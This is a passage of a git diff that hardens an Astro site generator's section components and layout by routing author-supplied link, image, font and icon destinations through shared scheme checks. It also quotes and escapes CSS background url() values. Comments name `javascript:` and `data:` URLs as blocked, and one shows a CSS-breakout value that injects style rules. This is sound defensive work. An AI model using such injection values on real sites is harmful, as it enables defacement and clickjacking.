   ? { label: moreRaw.split('=')[0].trim(), href: moreRaw.split('=').slice(1).join('=').trim() }
   : null;
+// round 3 (Astro consumers, R2-P3-5): `more.href` is author-set (a `more="LABEL=/href"` param);
+// site-core.js's own `grid` case gates it on `isSafeHref`; `safeHref` shares that ONE policy here.
+const moreHrefOk = more ? safeHref(more.href) : null;
 const packMasonry = pm.pack === 'masonry' || (pm.pack && typeof pm.pack === 'object' && pm.pack.label === 'masonry');
 // `surface=<token>` — OPT-IN per-section background belt (glass/paper/cream/teal). Absent →
 // the theme's default section surface (e.g. a deep-teal grid belt) is untouched. Drives a set of
@@ -70,7 +73,9 @@ const facets = filterLabel ? [...new Set(cells.map((c) => c.badge).filter(Boolea
   <div class="st-cells" data-pack={packMasonry ? 'masonry' : undefined}>
     {cells.map((c) => <GridCell c={c} imageCards={imageCards} />)}
   </div>
-  {more && <a class="st-grid-more" href={more.href} set:html={inlineHtml(more.label)} />}
+  {more && (moreHrefOk
+    ? <a class="st-grid-more" href={moreHrefOk} set:html={inlineHtml(more.label)} />
+    : <span class="st-grid-more" set:html={inlineHtml(more.label)} />)}
 </section>
 {packMasonry && <script>import './grid-masonry.js';</script>}
 {filterLabel && facets.length > 0 && <script>import './grid-filter.js';</script>}
diff --git a/packages/sitetile/astro/src/components/sections/GridCell.astro b/packages/sitetile/astro/src/components/sections/GridCell.astro
index e70f4ad..83b2286 100644
--- a/packages/sitetile/astro/src/components/sections/GridCell.astro
+++ b/packages/sitetile/astro/src/components/sections/GridCell.astro
@@ -2,7 +2,7 @@
 // Single grid-card renderer, factored out of Grid.astro so `pack=masonry` can call it once per
 // column without duplicating the markup (Astro frontmatter can't return JSX from a plain helper
 // function — only a template/component can — so this got its own tiny component instead).
-import { inlineHtml, bodyHtml, firstImage, imgTag } from '@sitetile';
+import { inlineHtml, bodyHtml, firstImage, imgTag, safeHref } from '@sitetile';
 import { lucideSvg } from '../../lib/lucide.mjs';
 import Arrow from '@cvernet/signet/Arrow.astro';
 import '@cvernet/signet/arrow.css';   // tail-retract hover morph CSS — was dropped when Grid.astro's
@@ -15,14 +15,22 @@ const tgt = (h) => isExternal(h) ? { target: '_blank', rel: 'noopener' } : {};
 const fi = imageCards ? firstImage(c.body) : null;
 const badge = c.badge ? true : false;
 const footTag = c.badge && c.cta;
+// round 3 (Astro consumers, R2-P3-5): `c.href`/`c.badgeHref` are author Markdown (`### Title
+// →href`), the same destinations site-core.js's own `grid` case gates on `isSafeHref` — but this
+// component builds its `href=` attribute directly, with no scheme check of its own. `safeHref`
+// (exported by site-core.js, the shared policy) returns the destination or `null`; every `href=`
+// below reads the `*Ok` value, never `c.href`/`c.badgeHref` directly, so a `javascript:`/`data:`
+// cell link degrades to the existing plain (non-`<a>`) shape instead of going live.
+const hrefOk = c.href ? safeHref(c.href) : null;
+const badgeHrefOk = c.badgeHref ? safeHref(c.badgeHref) : null;
 // `[Label →href]` badge = a SECONDARY card link (e.g. an "Open in …" action). It can't
 // nest inside the whole-cell <a>, so such a cell uses the OVERLAY pattern: a relative container, an
 // absolute full-cell overlay <a> (primary link), and the action + "Learn more" stacked above it.
-const hasAction = !!(c.href && c.badgeHref);
+const hasAction = !!(hrefOk && badgeHrefOk);
 ---
 {imageCards ? (
-  c.href ? (
-    <a class="st-cell st-gal-cell st-cell-link group" href={c.href} {...tgt(c.href)} data-cat={c.badge || undefined}>
+  hrefOk ? (
+    <a class="st-cell st-gal-cell st-cell-link group" href={hrefOk} {...tgt(hrefOk)} data-cat={c.badge || undefined}>
       {fi.img && <figure class="st-gal-fig" set:html={imgTag(fi.img.alt, fi.img.src)} />}
       {badge && <span class="st-cell-badge" data-badge={String(c.badge).toLowerCase()} set:html={inlineHtml(c.badge)} />}
       {c.title && <h3 set:html={inlineHtml(c.title)} />}
@@ -38,28 +46,28 @@ const hasAction = !!(c.href && c.badgeHref);
   )
 ) : hasAction ? (
   <div class="st-cell st-cell-link st-cell-overlaid group">
-    <a class="st-cell-overlay" href={c.href} {...tgt(c.href)} aria-label={c.title}></a>
+    <a class="st-cell-overlay" href={hrefOk} {...tgt(hrefOk)} aria-label={c.title}></a>
     {c.icon
       ? <span class="st-cell-icon" aria-hidden="true" set:html={lucideSvg(c.icon)} />
       : c.emoji && <span class="st-cell-emoji" aria-hidden="true" set:html={inlineHtml(c.emoji)} />}
     {c.title && <h3 set:html={inlineHtml(c.title)} />}
     <Fragment set:html={bodyHtml(c.body)} />
     <div class="st-cell-foot">
-      <a class="st-cell-action" href={c.badgeHref} {...tgt(c.badgeHref)}>
+      <a class="st-cell-action" href={badgeHrefOk} {...tgt(badgeHrefOk)}>
         <span class="st-cta-label" set:html={inlineHtml(c.badge)} />
-        <Arrow direction={isExternal(c.badgeHref) ? 'up-right' : 'right'} size={12} />
+        <Arrow direction={isExternal(badgeHrefOk) ? 'up-right' : 'right'} size={12} />
       </a>
       {c.cta && (
         <span class="st-cell-cta st-cell-cta-labeled">
           <span class="st-cta-label">{c.cta}</span>
-          <Arrow direction={isExternal(c.href) ? 'up-right' : 'right'} size={18} />
+          <Arrow direction={isExternal(hrefOk) ? 'up-right' : 'right'} size={18} />
         </span>
       )}
     </div>
   </div>
 ) : (
-  c.href ? (
-    <a class="st-cell st-cell-link group" href={c.href} {...tgt(c.href)}>
+  hrefOk ? (
+    <a class="st-cell st-cell-link group" href={hrefOk} {...tgt(hrefOk)}>
       {footTag ? null : (badge && <span class="st-cell-badge" data-badge={String(c.badge).toLowerCase()} set:html={inlineHtml(c.badge)} />)}
       {c.icon
         ? <span class="st-cell-icon" aria-hidden="true" set:html={lucideSvg(c.icon)} />
@@ -69,12 +77,12 @@ const hasAction = !!(c.href && c.badgeHref);
       {footTag ? (
         <div class="st-cell-foot">
           <span class="st-cell-badge" data-badge={String(c.badge).toLowerCase()} set:html={inlineHtml(c.badge)} />
-          <span class="st-cell-cta st-cell-cta-labeled"><span class="st-cta-label">{c.cta}</span><Arrow direction={isExternal(c.href) ? 'up-right' : 'right'} size={18} /></span>
+          <span class="st-cell-cta st-cell-cta-labeled"><span class="st-cta-label">{c.cta}</span><Arrow direction={isExternal(hrefOk) ? 'up-right' : 'right'} size={18} /></span>
         </div>
       ) : c.cta ? (
         <span class="st-cell-cta st-cell-cta-labeled">
           <span class="st-cta-label">{c.cta}</span>
-          <Arrow direction={isExternal(c.href) ? 'up-right' : 'right'} size={18} />
+          <Arrow direction={isExternal(hrefOk) ? 'up-right' : 'right'} size={18} />
         </span>
       ) : (c.badge || c.emoji || c.icon) ? null : (
         <span class="st-cell-cta" aria-hidden="true"><Arrow direction="right" size={18} /></span>
@@ -91,12 +99,12 @@ const hasAction = !!(c.href && c.badgeHref);
       {footTag ? (
         <div class="st-cell-foot">
           <span class="st-cell-badge" data-badge={String(c.badge).toLowerCase()} set:html={inlineHtml(c.badge)} />
-          <span class="st-cell-cta st-cell-cta-labeled"><span class="st-cta-label">{c.cta}</span><Arrow direction={isExternal(c.href) ? 'up-right' : 'right'} size={18} /></span>
+          <span class="st-cell-cta st-cell-cta-labeled"><span class="st-cta-label">{c.cta}</span><Arrow direction={isExternal(hrefOk) ? 'up-right' : 'right'} size={18} /></span>
         </div>
       ) : c.cta ? (
         <span class="st-cell-cta st-cell-cta-labeled">
           <span class="st-cta-label">{c.cta}</span>
-          <Arrow direction={isExternal(c.href) ? 'up-right' : 'right'} size={18} />
+          <Arrow direction={isExternal(hrefOk) ? 'up-right' : 'right'} size={18} />
         </span>
       ) : (c.badge || c.emoji || c.icon) ? null : (
         <span class="st-cell-cta" aria-hidden="true"><Arrow direction="right" size={18} /></span>
diff --git a/packages/sitetile/astro/src/components/sections/Hero.astro b/packages/sitetile/astro/src/components/sections/Hero.astro
index d9f390c..5efb561 100644
--- a/packages/sitetile/astro/src/components/sections/Hero.astro
+++ b/packages/sitetile/astro/src/components/sections/Hero.astro
@@ -1,8 +1,21 @@
 ---
-import { parseParams, inlineHtml, bodyHtml, ctaHtml, heroParts, linkButtonsHtml } from '@sitetile';
+import { parseParams, inlineHtml, bodyHtml, ctaHtml, heroParts, linkButtonsHtml, safeSrc, cssUrlString } from '@sitetile';
 const { section } = Astro.props;
 const pm = parseParams(section.params);
-const style = pm.bg ? `background-image:url(${pm.bg})` : undefined;
+// round 4: `bg=` is an author-controlled background-image destination reaching a live CSS
+// `url()` with no gate — the same sink class as `logo=`/`layers=` below, gated the same way
+// (`safeSrc`, since this is an image destination). A disallowed scheme drops the background
+// entirely rather than reaching `url(javascript:…)`/`url(data:text/html,…)`.
+// round 5 (R4-P3-6): a SAFE destination still isn't a SAFE `url()` token — an unquoted `url()`
+// has no way to escape `)`/`;`, so `/a.png);position:fixed;…` closed the declaration and opened
+// arbitrary new ones in this element's own inline style (a defacement/clickjacking primitive,
+// no script involved). `cssUrlString` quotes it and CSS-escapes exactly the two characters a
+// quoted CSS string treats specially; Astro's own attribute escaping (which the report measured
+// does escape `"`/`&`, only not `>`) still runs on top and is unaffected — the browser decodes
+// HTML entities in the attribute value before the CSS parser ever sees it, so the quotes/escapes
+// built here survive to the CSS parser intact.
+const bgOk = pm.bg ? safeSrc(pm.bg) : null;
+const style = bgOk ? `background-image:url("${cssUrlString(bgOk)}")` : undefined;
 const media = pm.media === 'logo' ? 'logo' : 'avatar';   // foreground image variant (round avatar vs uncropped logo)
 // `layout` (e.g. split) = OPT-IN columned hero (eyebrow + lead + button row + side art). Absent →
 // the legacy hero (h1 + body + single `cta=`), kept byte-identical so an existing logo hero is untouched.
@@ -36,15 +49,25 @@ const enter = pm.enter != null;
 const layersRaw = pm.layers ? (typeof pm.layers === 'object' ? pm.layers.label : pm.layers) : null;
 const layerList = layersRaw ? String(layersRaw).split('|').map((s) => s.trim()).filter(Boolean) : [];
 const parallax = pm.parallax != null;
-const logo = pm.logo ? (typeof pm.logo === 'object' ? (pm.logo.href || pm.logo.label) : String(pm.logo)) : null;
+const logoRaw = pm.logo ? (typeof pm.logo === 'object' ? (pm.logo.href || pm.logo.label) : String(pm.logo)) : null;
+// round 3 (Astro consumers, R2-P3-5): `logo=`/`layers=` params and `heroParts`' extracted image
+// are all author-controlled `src` destinations that reach a live `<img>` with no gate of their
+// own in this file (imgTag, which every OTHER caller of these values goes through, is never
+// called here) — site-core.js's own `imgTag` gates every image src on `isSafeImageSrc`; `safeSrc`
+// shares that ONE policy here. `null` degrades to no image, same shape the falsy check already had.
+const logo = logoRaw ? safeSrc(logoRaw) : null;
 const logoPos = pm['logo-pos'] ? String(typeof pm['logo-pos'] === 'object' ? pm['logo-pos'].label : pm['logo-pos']) : 'bottom';
 ---
 {layerList.length ? (
   <section class="st-hero st-full-bleed st-hero-layered" id={section.id} data-media={media} data-parallax={parallax ? '' : undefined} data-logo-pos={logoPos} data-enter={enter ? '' : undefined}>
     <div class="st-hero-stage" aria-hidden="true">
-      {layerList.map((src, i) => (
-        <img class="st-hero-layer" src={src} alt="" data-depth={i} loading="eager" decoding="async" />
-      ))}
+      {layerList.map((src, i) => {
+        // round 4 (R3-P3-2): hoisted to a const — was two calls per layer.
+        const srcOk = safeSrc(src);
+        return srcOk && (
+          <img class="st-hero-layer" src={srcOk} alt="" data-depth={i} loading="eager" decoding="async" />
+        );
+      })}
     </div>
     <div class="st-hero-text st-hero-overlay">
       {eyebrow && <p class="st-hero-eyebrow" set:html={inlineHtml(eyebrow)} />}
@@ -78,15 +101,19 @@ const logoPos = pm['logo-pos'] ? String(typeof pm['logo-pos'] === 'object' ? pm[
     </div>
     {hp.images.length > 0 && (
       <div class="st-hero-art" data-imgs={hp.images.length > 1 ? String(hp.images.length) : undefined}>
-        {hp.images.map((im) => (
-          <img class="st-img" src={im.src} alt={im.alt} loading="eager" decoding="async" />
-        ))}
+        {hp.images.map((im) => {
+          // round 4 (R3-P3-2): hoisted to a const — was two calls per image.
+          const srcOk = safeSrc(im.src);
+          return srcOk && (
+            <img class="st-img" src={srcOk} alt={im.alt} loading="eager" decoding="async" />
+          );
+        })}
       </div>
     )}
   </section>
 ) : (
   <section class="st-hero st-full-bleed" id={section.id} data-media={media} data-enter={enter ? '' : undefined} style={style}>
-    {enter && pm.bg && <div class="st-hero-bg" aria-hidden="true" style={`background-image:url(${pm.bg})`} />}
+    {enter && bgOk && <div class="st-hero-bg" aria-hidden="true" style={`background-image:url("${cssUrlString(bgOk)}")`} />}
     <h1 set:html={inlineHtml(section.title)} />
     <Fragment set:html={bodyHtml(section.body)} />
     <Fragment set:html={ctaHtml(pm.cta, 'st-hero-cta')} />
diff --git a/packages/sitetile/astro/src/components/sections/People.astro b/packages/sitetile/astro/src/components/sections/People.astro
index 804fdaa..0b8123d 100644
--- a/packages/sitetile/astro/src/components/sections/People.astro
+++ b/packages/sitetile/astro/src/components/sections/People.astro
@@ -7,7 +7,7 @@
 // the group wrapper; a grouped roster renders a labelled block per group. Theme paints
 // `.st-people` / `.st-person` / `.st-person-role`; site.css carries the structural defaults so a
 // roster is legible on a site that has never been themed.
-import { parseParams, inlineHtml, bodyHtml, firstImage, imgTag, slugify } from '@sitetile';
+import { parseParams, inlineHtml, bodyHtml, firstImage, imgTag, slugify, safeHref } from '@sitetile';
 const { section, hero } = Astro.props;
 // The page's FIRST section carries its primary heading as <h1> — the same seam Prose/Faq/
 // Timeline already honour. A roster that opened a page rendered <h2> and the page had NO h1:
@@ -32,12 +32,18 @@ const ext = (h) => /^https?:\/\//.test(h);
       <div class="st-people-cells">
         {(g.people || []).map((p) => {
           const fi = firstImage(p.body);
+          // round 4 (R3-P3-2): hoisted to a const — was three calls per person for the same
+          // destination, each a separate drop-warning queue entry.
+          const pHrefOk = safeHref(p.href);
           return (
             <div class="st-person" data-tone={p.tone || undefined}>
               {fi.img && <Fragment set:html={`<figure class="st-person-fig">${imgTag(fi.img.alt, fi.img.src)}</figure>`} />}
               <h3 class="st-person-name">
-                {p.href
-                  ? <a href={p.href} target={ext(p.href) ? '_blank' : undefined} rel={ext(p.href) ? 'noopener' : undefined} set:html={inlineHtml(p.title)} />
+                {/* round 3 (Astro consumers, R2-P3-5): `p.href` is author Markdown, gated by
+                    site-core.js's own `people` case via `isSafeHref`; `safeHref` shares that ONE
+                    policy here — a `javascript:`/`data:` name link degrades to plain text. */}
+                {pHrefOk
+                  ? <a href={pHrefOk} target={ext(pHrefOk) ? '_blank' : undefined} rel={ext(pHrefOk) ? 'noopener' : undefined} set:html={inlineHtml(p.title)} />
                   : <Fragment set:html={inlineHtml(p.title)} />}
               </h3>
               {p.badge && (
@@ -48,9 +54,13 @@ const ext = (h) => /^https?:\/\//.test(h);
               <div class="st-person-body" set:html={bodyHtml(fi.rest)} />
               {p.links && p.links.length > 0 && (
                 <div class="st-person-links">
-                  {p.links.map((l) => (
-                    <a class="st-person-link" href={l.href} target={ext(l.href) ? '_blank' : undefined} rel={ext(l.href) ? 'noopener' : undefined}>{l.label}</a>
-                  ))}
+                  {p.links.map((l) => {
+                    // round 4 (R3-P3-2): hoisted to a const — was three calls per link.
+                    const lHrefOk = safeHref(l.href);
+                    return lHrefOk
+                      ? <a class="st-person-link" href={lHrefOk} target={ext(lHrefOk) ? '_blank' : undefined} rel={ext(lHrefOk) ? 'noopener' : undefined}>{l.label}</a>
+                      : <span class="st-person-link">{l.label}</span>;
+                  })}
                 </div>
               )}
             </div>
diff --git a/packages/sitetile/astro/src/components/sections/Tagcloud.astro b/packages/sitetile/astro/src/components/sections/Tagcloud.astro
index 1ae7f5f..e1661bd 100644
--- a/packages/sitetile/astro/src/components/sections/Tagcloud.astro
+++ b/packages/sitetile/astro/src/components/sections/Tagcloud.astro
@@ -6,7 +6,7 @@
 // (site-core.js) so the editor preview matches the build.
 // IR: `## Title` + `%% sitetile: tagcloud %%` + a markdown list of `- [Label](/href)` items.
 // The Label carries its own count baked in (e.g. "comic576"), matching how live themes print it.
-import { parseParams, inlineHtml, tagcloudLinks } from '@sitetile';
+import { parseParams, inlineHtml, tagcloudLinks, safeHref } from '@sitetile';
 const { section, hero } = Astro.props;
 const Title = hero ? 'h1' : 'h2';
 // 🔴 The result was discarded here — the call was kept only to VALIDATE the params.
@@ -23,6 +23,12 @@ const links = tagcloudLinks(section.body);
   {eyebrow && <p class="st-tagcloud-eyebrow" set:html={inlineHtml(eyebrow)} />}
   {section.title && <Title set:html={inlineHtml(section.title)} />}
   <div class="st-tag-flow">
-    {links.map((l) => <a class="st-tag" href={l.href} set:html={inlineHtml(l.label)} />)}
+    {links.map((l) => {
+      // round 4 (R3-P3-2): hoisted to a const — was two calls per item.
+      const hrefOk = safeHref(l.href);
+      return hrefOk
+        ? <a class="st-tag" href={hrefOk} set:html={inlineHtml(l.label)} />
+        : <span class="st-tag" set:html={inlineHtml(l.label)} />;
+    })}
   </div>
 </section>
diff --git a/packages/sitetile/astro/src/layouts/SiteLayout.astro b/packages/sitetile/astro/src/layouts/SiteLayout.astro
index 649632f..f2fecc8 100644
--- a/packages/sitetile/astro/src/layouts/SiteLayout.astro
+++ b/packages/sitetile/astro/src/layouts/SiteLayout.astro
@@ -11,7 +11,7 @@ import * as lingo from '../packages/lingo/locale.mjs';
 import { BRAND_ICON } from '../lib/brands.mjs';
 // The site icon set — ONE model behind both the emitted files (the three icon routes) and the
 // <link> tags below. See packages/sitetile/icon-core.mjs.
-import { iconHrefs } from '@icons';
+import { iconHrefs, ICON_PATHS } from '@icons';
 import { FEED_PATH } from '../lib/feed.mjs';
 import { pageGraph, jsonLdScript } from '../lib/structured-data.mjs';
 import { inboxBubbleOn } from '../lib/inbox-bubble.mjs';
@@ -141,10 +141,14 @@ const footerCols = String(meta['footer-cols'] || '').split(';;').map((c) => c.tr
   });
   return { head, items };
 });
-const footerLogo = meta['footer-logo'] ? String(meta['footer-logo']).trim() : '';
+// round 3 (Astro consumers, R2-P3-5): `footer-logo`/`site-logo` are raw frontmatter image
+// destinations reaching a live `<img src>` in three places below with no gate of their own;
+// safeSrc shares site-core.js's `isSafeImageSrc` policy — gated once here, at the source, so
+// every consumer of these two variables is covered without repeating the check three times.
+const footerLogo = meta['footer-logo'] ? safeSrc(String(meta['footer-logo']).trim()) : '';
 // The header/hero logo (`site-logo`) — the REAL site logo (an animated gif, say),
 // shared across hero + sub-page header so a `view-transition-name` morphs it page-to-page.
-const siteLogo = meta['site-logo'] ? String(meta['site-logo']).trim() : footerLogo;
+const siteLogo = meta['site-logo'] ? safeSrc(String(meta['site-logo']).trim()) : footerLogo;
 
 // `generator` — machine-readable provenance, DEFAULT ON. See the <meta> in <head> for why this one
 // defaults the opposite way to the visible `Powered by feelreef` footer. `generator: off` (or an
@@ -172,6 +176,9 @@ const headerBrand = meta.brand ? String(meta.brand).trim() : (meta.title ? Strin
 // `header-cta: Label=href` — an optional primary action button in the header's right side
 // (e.g. a "Subscribe" pill). General; absent → the header stays as-is.
 const headerCta = (() => { const m = String(meta['header-cta'] || '').match(/^(.*\S)\s*=\s*(\S+)$/); return m ? { label: m[1].trim(), href: m[2].trim() } : null; })();
+// round 4 (R3-P3-2): hoisted alongside the declaration — was three safeHref(headerCta.href)
+// calls in the template below for the same destination, each a separate drop-warning entry.
+const headerCtaHrefOk = headerCta ? safeHref(headerCta.href) : null;
 // ── HEADER ACTIONS (Coral A) + NAV-MOBILE HAMBURGER (Coral B) — the interaction wave.
 // Both reuse the age-gate primitive: a hidden checkbox + <label> whose click flips
 // `body:has(#…:checked) …` CSS reveal — ZERO JS for the toggle itself (a tiny gated
@@ -219,7 +226,13 @@ const cartEmpty = (meta['header-actions-cart-empty'] ? String(meta['header-actio
 // off-shop pages route there instead of opening an empty drawer. Absent guild → not wired → the
 // island below is never imported → byte-identical for every non-opted site.
 const cartGuild = (meta['header-actions-cart-guild'] ? String(meta['header-actions-cart-guild']).trim() : '');
-const cartHref = (meta['header-actions-cart-href'] ? String(meta['header-actions-cart-href']).trim() : '');
+// round 4 (R3-P2-1, second instance): `header-actions-cart-href` is a raw frontmatter
+// destination that reaches `window.location.href` unfiltered in header-actions-cart.js — a
+// same-origin script assignment, which is a script-execution context for a `javascript:` value
+// exactly like a live `href`. Gate here, at the value's one declaration point (alongside
+// `siteLogo`/`copyrightHref` above), so the `data-cart-href` attribute below and the client
+// script that reads it can never see anything but a validated destination.
+const cartHref = (meta['header-actions-cart-href'] ? (safeHref(String(meta['header-actions-cart-href']).trim()) || '') : '');
 const cartWired = toggleActions.some((a) => a.target === 'cart') && !!cartGuild;
 // `nav-mobile: hamburger` — responsive nav collapse (the real gap: `.rf-nav` had zero
 // breakpoint collapse). Pure CSS below; here it only flips a body attribute + renders
@@ -270,11 +283,21 @@ const breadcrumbHome = meta['breadcrumb-home'] ? String(meta['breadcrumb-home'])
 const breadcrumbTrail = String(meta['breadcrumb-trail'] || '').split(';').map((s) => s.trim()).filter(Boolean)
   .map((s) => { const m = s.match(/^(.*\S)\s*=\s*(\S+)$/); return m ? { label: m[1].trim(), href: m[2].trim() } : null; })
   .filter(Boolean);
-const copyrightHref = meta['copyright-href'] ? String(meta['copyright-href']).trim() : '';
-const languageHref = meta['language-href'] ? String(meta['language-href']).trim() : '/language';
+// round 3 (Astro consumers, R2-P3-5): `copyright-href` is a raw frontmatter destination; safeHref
+// shares the same policy every other emitter uses (gated once here, at the source).
+const copyrightHref = meta['copyright-href'] ? safeHref(String(meta['copyright-href']).trim()) : '';
+// round 3 (Astro consumers, R2-P3-5): `language-href` is a raw frontmatter destination (used
+// verbatim as `computedLanguageHref` below when Lingo is off); safeHref shares the same policy
+// every other emitter uses, falling back to the safe default rather than going live unfiltered.
+const languageHref = meta['language-href'] ? (safeHref(String(meta['language-href']).trim()) || '/language') : '/language';
 // A theme can declare a webfont stylesheet URL via `fonts:` — emitted as preconnect + <link> (the
 // healthy way), NOT a render-blocking @import inside the theme CSS.
-const fontsUrl = meta.fonts ? String(meta.fonts).trim() : '';
+// round 4 (R3-P3-1): `fonts:` is a raw frontmatter destination reaching a live
+// `<link rel=stylesheet href>` below — not a script-execution context (a browser fetches CSS, it
+// does not navigate it), so this is defense-in-depth for the same sink class as the P2 findings,
+// gated the same way: at the declaration point, falling back to "no stylesheet" (the same
+// no-op the field's own absence already produces) rather than a live link with a disallowed scheme.
+const fontsUrl = meta.fonts ? (safeHref(String(meta.fonts).trim()) || '') : '';
 
 // ── PACKAGES (opt-in enhancements) ───────────────────────────────────────────
 // The productized form of the ejecta "enhancements-optin" doctrine: a Recast/native
@@ -428,7 +451,7 @@ const showTopBanner = !!(bleed && bleed.topBanner && locales.length > 0);
 //   right: `.st-sidebar-main` carries the normal <slot /> content
 // All other values (or absent) fall through to the current single-column rf-main.
 // sidebar-nav syntax mirrors footer-cols: `;;` = group separator, `;` = item, `Label=url`.
-import { parseSidebarNav } from '../../../site-core.js';
+import { parseSidebarNav, safeHref, safeSrc } from '../../../site-core.js';
 import { groupByArchive, footerWidgets, blogSearchOn, postUrl } from '../lib/blog.mjs';
 const pageLayout = meta.layout ? String(meta.layout).trim() : 'stack';
 const isSidebar = pageLayout === 'sidebar';
@@ -499,7 +522,7 @@ const canonicalRedirectParams = String(meta['blog-canonical-redirects'] || '')
 // full-width overlay whose island lazily fetches /search-index.json and filters it
 // client-side. Absent → zero button, zero overlay, zero script (output stays
 // byte-identical). All copy comes from frontmatter (localizable), no station
-// literals. XSS-safe: every field renders through Astro auto-escaping / the island's
+// literals. script-injection-safe: every field renders through Astro auto-escaping / the island's
 // textContent — no set:html of post data anywhere.
 const blogSearch = blogSearchOn(meta) && hasBlog;
 const searchLabel = (meta['blog-search-label'] ? String(meta['blog-search-label']).trim() : '') || 'Search';
@@ -541,7 +564,7 @@ const themeToggle = colorScheme === 'toggle';
 //     isn't re-prompted across pages (the live Wix `ageConfirmed` behaviour a
 //     pure-CSS gate must otherwise degrade on). No-flash: a HEAD script sets the
 //     reveal attribute before first paint when already confirmed.
-// XSS-SAFE by construction: every field is rendered through Astro's auto-escaping
+// script-injection-safe by construction: every field is rendered through Astro's auto-escaping
 // {expr}/attr interpolation — no set:html of author copy anywhere.
 // OPT-IN: absent → nothing renders and no script ships (every other site/page
 // unaffected). GENERIC: all copy + URLs come from frontmatter, no station literals —
@@ -564,7 +587,7 @@ const ageGate = ageGateOn ? {
   noteLinks: String(meta['age-gate-note-links'] || '').split(';').map((s) => s.trim()).filter(Boolean)
     .map((part) => { const m = part.match(/^(.*\S)\s*=\s*(\S+)$/); return m ? { label: m[1].trim(), href: m[2].trim() } : null; })
     .filter(Boolean),
-  backUrl: String(meta['age-gate-back-url'] || '').trim() || '/',
+  backUrl: safeHref(String(meta['age-gate-back-url'] || '').trim()) || '/',
   // 🩸 the two button labels defaulted to Japanese for every tenant. They are the only words in
   // this dialog the site does not have to write, so they are the only ones that could be wrong
   // in a language nobody chose. Locale table now, override keys unchanged.
@@ -584,7 +607,13 @@ const ageGateLines = (s) => String(s || '').split('\\n');
 // posted on socials) yet the renderer emitted none of it before — a real gap, not chrome.
 const absUrl = (u) => (u && Astro.site ? new URL(u, Astro.site).href : u);
 const description = meta.description ? String(meta.description).trim() : '';
-const authoredShareImage = String(meta['share-image'] || meta['og-image'] || '').trim();
+// round 5 (R4-P3-1): `share-image:`/`og-image:` is a raw frontmatter destination reaching a live
+// <meta property=og:image>/<meta name=twitter:image> with no gate — `absUrl` only makes a relative
+// path absolute, it does not touch a value that already carries its own scheme (`new URL('javascript:x', base)`
+// resolves to `javascript:x` unchanged), so a disallowed scheme survived straight through. safeSrc
+// shares the same policy every image consumer in this file already uses (site-logo/footer-logo,
+// above) — gated once here, at the source, same as those.
+const authoredShareImage = safeSrc(String(meta['share-image'] || meta['og-image'] || '').trim()) || '';
 // `og-cards: true` in _site.md → every page gets a generated link-preview card at a path derived
 // from its own URL. The PNG does not exist yet at this point: it is rendered from THIS html after
 // the build (packages/sitetile/og/build-og.mjs), which is why the path has to be derivable from the
@@ -603,7 +632,20 @@ const shareImage = absUrl(authoredShareImage
 // /apple-touch-icon.png all answered 404 on live sites — measured. The three routes beside this
 // layout now emit a badge for every build, and the hrefs below come from the SAME model that draws
 // them (packages/sitetile/icon-core.mjs), so a link here can never name a file that isn't emitted.
-const iconLinks = iconHrefs(meta, { hasPwa });
+const iconLinksRaw = iconHrefs(meta, { hasPwa });
+// round 4 (R3-P3-1): iconHrefs() hands back `favicon:`/`site-logo:`/`footer-logo:` (icon-core's
+// siteMark) UNFILTERED as a live `<link>` href when the site set one — the gate that already
+// covers site-logo's three <img src> consumers (safeSrc, above) never touches this path, because
+// iconHrefs() reads `meta` directly rather than the gated variable. Gate here, the one place both
+// `<link>` consumers below read the result, falling back to icon-core's own generated paths — the
+// same fallback the "no mark" branch already emits — rather than a live link with a disallowed
+// scheme. `<link rel=icon>`/`apple-touch-icon` are not a script-execution context (a browser
+// fetches an image, it does not navigate them), so this is defense-in-depth, not the P2 fix.
+const iconMarkSafe = iconLinksRaw.icon.every((l) => safeSrc(l.href));
+const iconLinks = iconMarkSafe ? iconLinksRaw : {
+  icon: [{ href: ICON_PATHS.ico, sizes: '32x32' }, { href: ICON_PATHS.svg, type: 'image/svg+xml' }],
+  appleTouch: ICON_PATHS.apple,
+};
 // Public per-site beacon id, compiled from ir/_site.md. Validate hand-edited IR too.
 const rawAnalyticsToken = String(meta['analytics-token'] || '').trim().toLowerCase();
 const analyticsToken = /^[0-9a-f]{32}$/.test(rawAnalyticsToken) ? rawAnalyticsToken : '';
@@ -859,9 +901,18 @@ const ogSiteName = (meta['site-title'] ? String(meta['site-title']).trim() : '')
           {ageGate.title && <h2 class="st-age-gate-title" id="st-age-gate-title">{ageGate.title}</h2>}
           {ageGate.body && <p class="st-age-gate-body">{ageGateLines(ageGate.body).map((ln, i) => <Fragment>{i > 0 && <br />}{ln}</Fragment>)}</p>}
           {ageGate.note && <p class="st-age-gate-note">{ageGateLines(ageGate.note).map((ln, i) => <Fragment>{i > 0 && <br />}{ln}</Fragment>)}</p>}
+          {/* round 3 (Astro consumers, R2-P3-5): `age-gate-note-links`/`age-gate-back-url` are raw
+              frontmatter destinations reaching a live `<a href>` with no gate; safeHref shares the
+              same policy every other emitter uses. */}
           {ageGate.noteLinks.length > 0 && (
             <p class="st-age-gate-note-links">
-              {ageGate.noteLinks.map((it) => <a href={it.href} target="_blank" rel="noopener noreferrer">{it.label}</a>)}
+              {ageGate.noteLinks.map((it) => {
+                // round 4 (R3-P3-2): hoisted to a const — was two calls per item.
+                const hrefOk = safeHref(it.href);
+                return hrefOk
+                  ? <a href={hrefOk} target="_blank" rel="noopener noreferrer">{it.label}</a>
+                  : <span>{it.label}</span>;
+              })}
             </p>
           )}
           <div class="st-age-gate-actions">
@@ -957,13 +1008,18 @@ const ogSiteName = (meta['site-title'] ? String(meta['site-title']).trim() : '')
           buried, and faking the move with CSS makes the button teleport when the menu
           opens, because one element cannot be in two places.) It sits before .rf-header-actions
           so the header reads logo → nav → CTA → icon actions → hamburger, left to right. */}
-      {headerCta && <a class="rf-header-cta" href={headerCta.href} {...ext(headerCta.href)}>{headerCta.label}</a>}
+      {/* round 3 (Astro consumers, R2-P3-5): `header-cta:` is a raw frontmatter destination;
+          safeHref shares the same policy every other emitter uses — a disallowed scheme degrades
+          to plain text rather than a live href. */}
+      {headerCta && (headerCtaHrefOk
+        ? <a class="rf-header-cta" href={headerCtaHrefOk} {...ext(headerCtaHrefOk)}>{headerCta.label}</a>
+        : <span class="rf-header-cta">{headerCta.label}</span>)}
       {/* header-actions (Coral A): icon buttons on the header's right. link → <a>; toggle →
           a hidden checkbox + <label> whose CSS reveal opens the drawer/offcanvas. */}
       {headerActions.length > 0 && (
         <div class="rf-header-actions" data-cart-guild={cartWired ? cartGuild : undefined} data-cart-href={cartWired && cartHref ? cartHref : undefined}>
